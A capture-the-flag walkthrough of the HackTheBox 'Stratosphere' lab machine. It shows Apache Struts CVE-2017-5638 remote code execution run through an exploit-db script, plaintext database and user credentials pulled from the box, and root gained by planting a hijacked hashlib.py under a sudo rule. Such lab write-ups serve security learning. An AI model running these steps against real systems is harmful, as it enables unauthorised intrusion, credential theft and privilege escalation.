Stratosphere is a Medium Linux box released back in March 2018.
As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.
λ nihilist [ 10.10.14.10/23 ] [~]
→ nmap -sCV -p 22,80,8080 10.10.10.64
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-15 22:52 GMT
Nmap scan report for 10.10.10.64
Host is up (0.091s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey:
| 2048 5b:16:37:d4:3c:18:04:15:c4:02:01:0d:db:07:ac:2d (RSA)
| 256 e3:77:7b:2c:23:b0:8d:df:38:35:6c:40:ab:f6:81:50 (ECDSA)
|_ 256 d7:6b:66:9c:19:fc:aa:66:6c:18:7a:cc:b5:87:0e:40 (ED25519)
80/tcp open http
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 1114
| Date: Sun, 15 Mar 2020 22:53:54 GMT
| Connection: close
| GetRequest:
| HTTP/1.1 200
| Accept-Ranges: bytes
| ETag: W/"1708-1519762495000"
| Last-Modified: Tue, 27 Feb 2018 20:14:55 GMT
| Content-Type: text/html
| Content-Length: 1708
| Date: Sun, 15 Mar 2020 22:53:54 GMT
| Connection: close
| HTTPOptions:
| HTTP/1.1 200
| Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS
| Content-Length: 0
| Date: Sun, 15 Mar 2020 22:53:54 GMT
| Connection: close
| RTSPRequest, X11Probe:
| HTTP/1.1 400
| Date: Sun, 15 Mar 2020 22:53:54 GMT
|_ Connection: close
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-title: Stratosphere
8080/tcp open http-proxy
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 1114
| Date: Sun, 15 Mar 2020 22:53:54 GMT
| Connection: close
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.10 seconds
Our nmap scan picked up port 80 and 8080 running http so let's dirsearch both of them :
Suprisingly both the dirsearch scans found the exact same directories :
_|. _ _ _ _ _ _|_ v0.3.9
(_||| _) (/_(_|| (_| )
Extensions: txt, html, php, xml | HTTP method: get | Threads: 50 | Wordlist size: 220521
Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-03-15_22-57-35.log
Target: http://10.10.10.64/
[22:57:35] Starting:
[22:57:36] 200 - 2KB - /
[22:57:58] 302 - 0B - /manager -> /manager/
[22:58:31] 302 - 0B - /Monitoring -> /Monitoring/
[22:59:07] 400 - 0B - /http%3A%2F%2Fwww
[23:00:58] 400 - 0B - /http%3A%2F%2Fyoutube
[23:01:46] 400 - 0B - /http%3A%2F%2Fblogs
[23:01:52] 400 - 0B - /http%3A%2F%2Fblog
[23:02:30] 400 - 0B - /%2A%2Ahttp%3A%2F%2Fwww
So we investigate /manager:
Which is a login form, so we move over to /Monitoring
Here we see that we are redirected to the following link : http://10.10.10.64:8080/Monitoring/example/Welcome.action and that we can either sign on or register, however trying to register we see that we get an error:
With the following URL :
http://10.10.10.64/Monitoring/example/Register.action;jsessionid=AFF9FBE2C10195E4BD717ABD893099E2
Moving over to the Sign On page we try to login with a random username and password, and we get the following request:
we'll leave that aside for now, and head back to the Monitoring homepage, we see that the extension .action is used instead of .do for apache struts actions. Struts is a model-view-controller framework for creating java web applications. Struts has suffered from a couple of vulnerabilities using the technique of object-graph navigation language (OGNL) injection. OGNL is an expression language that allows the setting of an object properties and execution of various methods of Java classes, which can be maliciously used to perform RCE attacks against Apache servers. Most notably cve2017-5638, to which we have a few exploits we can use:
λ nihilist [ 10.10.14.10/23 ] [~]
→ cd /usr/share/exploitdb
λ nihilist [ 10.10.14.10/23 ] [/usr/share/exploitdb]
→ grep -Ri 2017-5638
exploits/linux/webapps/41570.py: print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
exploits/multiple/remote/41614.rb: ['CVE', '2017-5638'],
λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere]
→ cp /usr/share/exploitdb/exploits/linux/webapps/41570.py .
λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere]
→ nano 41570.py
In it we can see that it is trying to abuse the Content-Type header by setting it to %{(#_='multipart/form-data').(payload) :
we can even check if it is vulnerable to this particular CVE by using nmap's --script flag:
λ nihilist [ 10.10.14.10/23 ] [~]
→ nmap -p8080 --script http-vuln-cve2017-5638 --script-args path=/Monitoring/ 10.10.10.64
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-16 08:44 GMT
Nmap scan report for 10.10.10.64
Host is up (0.094s latency).
PORT STATE SERVICE
8080/tcp open http-proxy
| http-vuln-cve2017-5638:
| VULNERABLE:
| Apache Struts Remote Code Execution Vulnerability
| State: VULNERABLE
| IDs: CVE:CVE-2017-5638
| Apache Struts 2.3.5 - Struts 2.3.31 and Apache Struts 2.5 - Struts 2.5.10 are vulnerable to a Remote Code Execution
| vulnerability via the Content-Type header.
|
| Disclosure date: 2017-03-07
| References:
| https://cwiki.apache.org/confluence/display/WW/S2-045
| http://blog.talosintelligence.com/2017/03/apache-0-day-exploited.html
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-5638
And it looks like it is vulnerable, so let's test it out but be careful that the final / of the URL is important otherwise you won't get any results:
λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere]
→ python 41570.py http://10.10.10.64:8080/Monitoring id
[*] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: id
λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere]
→ python 41570.py http://10.10.10.64:8080/Monitoring/ id
[*] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: id
uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8)
λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere]
→ python 41570.py http://10.10.10.64:8080/Monitoring/ "cat /home/richard/user.txt"
[*] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: cat /home/richard/user.txt
cat: /home/richard/user.txt: Permission denied
And we get RCE as tomcat8 ! However trying to print the user richard flag we see that we need to privesc so you could try to get a reverse shell but it may be tedious since we'll find out later on that the box has iptables configured. So first we print out the db_connect file contents to see if we can grab credentials:
λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere]
→ python 41570.py http://10.10.10.64:8080/Monitoring/ "ls"
[*] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: ls
conf
db_connect
lib
logs
policy
webapps
work
λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere]
→ python 41570.py http://10.10.10.64:8080/Monitoring/ "cat db_connect"
[*] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: cat db_connect
[ssn]
user=ssn_admin
pass=AWs64@on*&
[users]
user=admin
pass=admin
You may be tempted to use the ssn_admin:AWs64@on*& creds but as a matter of fact we'll use the default credentials admin:admin to log into mysql and print out other credentials:
λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere]
→ python 41570.py http://10.10.10.64:8080/Monitoring/ "mysql -u admin -p admin -e "use users;select * from accounts""
This above is incorrect since we have to use a pair of singlequotes and doublequotes instead of 2 pairs of doublequotes, moreso the -p admin syntax is incorrect because you need to spell it this way (-padmin) so now we correct our command :
λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere]
→ python 41570.py http://10.10.10.64:8080/Monitoring/ 'mysql -u admin -padmin -e "use users;select * from accounts"'
[*] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: mysql -u admin -padmin -e "use users;select * from accounts"
fullName password username
Richard F. Smith 9tc*rhKuG5TyXvUJOrE^5CK7k richard
And we have credentials ! richard:9tc*rhKuG5TyXvUJOrE^5CK7k so we log into the machine via ssh:
λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Stratosphere]
→ ssh richard@10.10.10.64
The authenticity of host '10.10.10.64 (10.10.10.64)' can't be established.
ECDSA key fingerprint is SHA256:tQZo8j1TeVASPxWyDgqJf8PaDZJV/+LeeBZnjueAW/E.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.64' (ECDSA) to the list of known hosts.
richard@10.10.10.64's password:
Linux stratosphere 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u2 (2018-02-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Feb 27 16:26:33 2018 from 10.10.14.2
richard@stratosphere:~$ cat user.txt
e6XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it ! We have been able to print out the user flag.
Now our first reflex to enumerate a box is by typing sudo -l to see if we can execute anything with root privileges as the current user:
richard@stratosphere:~$ sudo -l
Matching Defaults entries for richard on stratosphere:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User richard may run the following commands on stratosphere:
(ALL) NOPASSWD: /usr/bin/python* /home/richard/test.py
richard@stratosphere:~$ cat /home/richard/test.py
#!/usr/bin/python3
import hashlib
def question():
q1 = input("Solve: 5af003e100c80923ec04d65933d382cb\n")
md5 = hashlib.md5()
md5.update(q1.encode())
if not md5.hexdigest() == "5af003e100c80923ec04d65933d382cb":
print("Sorry, that's not right")
return
print("You got it!")
q2 = input("Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff\n")
sha1 = hashlib.sha1()
sha1.update(q2.encode())
if not sha1.hexdigest() == 'd24f6fb449855ff42344feff18ee2819033529ff':
print("Nope, that one didn't work...")
return
print("WOW, you're really good at this!")
q3 = input("How about this? 91ae5fc9ecbca9d346225063f23d2bd9\n")
md4 = hashlib.new('md4')
md4.update(q3.encode())
if not md4.hexdigest() == '91ae5fc9ecbca9d346225063f23d2bd9':
print("Yeah, I don't think that's right.")
return
print("OK, OK! I get it. You know how to crack hashes...")
q4 = input("Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943\n")
blake = hashlib.new('BLAKE2b512')
blake.update(q4.encode())
if not blake.hexdigest() == '9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943':
print("You were so close! urg... sorry rules are rules.")
return
import os
os.system('/root/success.py')
return
question()
Here we can see a bunch of crackable hashes (which are actually rabbitholes lol), the real vulnerability here is into the libraries that this python script calls : hashlib.py
richard@stratosphere:/usr/lib/python3.5$ cd ~
richard@stratosphere:~$ cd /usr/lib/python3.5
richard@stratosphere:/usr/lib/python3.5$ ls -lash | grep hashlib
8.0K -rw-r--r-- 1 root root 7.8K Jan 19 2017 hashlib.py
Obviously we cannot write into this hashlib.py file since we do not have enough permissions to do so, therefore we will create our own hashlib.py in the SAME FOLDER as our test.py and it will take priority over the hashlib we found above. With our own hashlib.py we are able to achieve a privilege escalation via python-library hijacking as demonstrated below :
richard@stratosphere:~$ pwd
/home/richard
richard@stratosphere:~$ ls
Desktop test.py user.txt
richard@stratosphere:~$ echo 'import os;os.system("/bin/bash")' > hashlib.py
richard@stratosphere:~$ sudo /usr/bin/python /home/richard/test.py
root@stratosphere:/home/richard# id
uid=0(root) gid=0(root) groups=0(root)
root@stratosphere:/home/richard# cat /root/root.txt
d4XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it ! we have been able to print out the root flag.
Here we can see the progress graph :
Donate XMR: 8AUYjhQeG3D5aodJDtqG499N5jXXM71gYKD8LgSsFB9BUV1o7muLv3DXHoydRTK4SZaaUBq4EAUqpZHLrX2VZLH71Jrd9k8
Contact: nihilist@contact.nowhere.moe (PGP)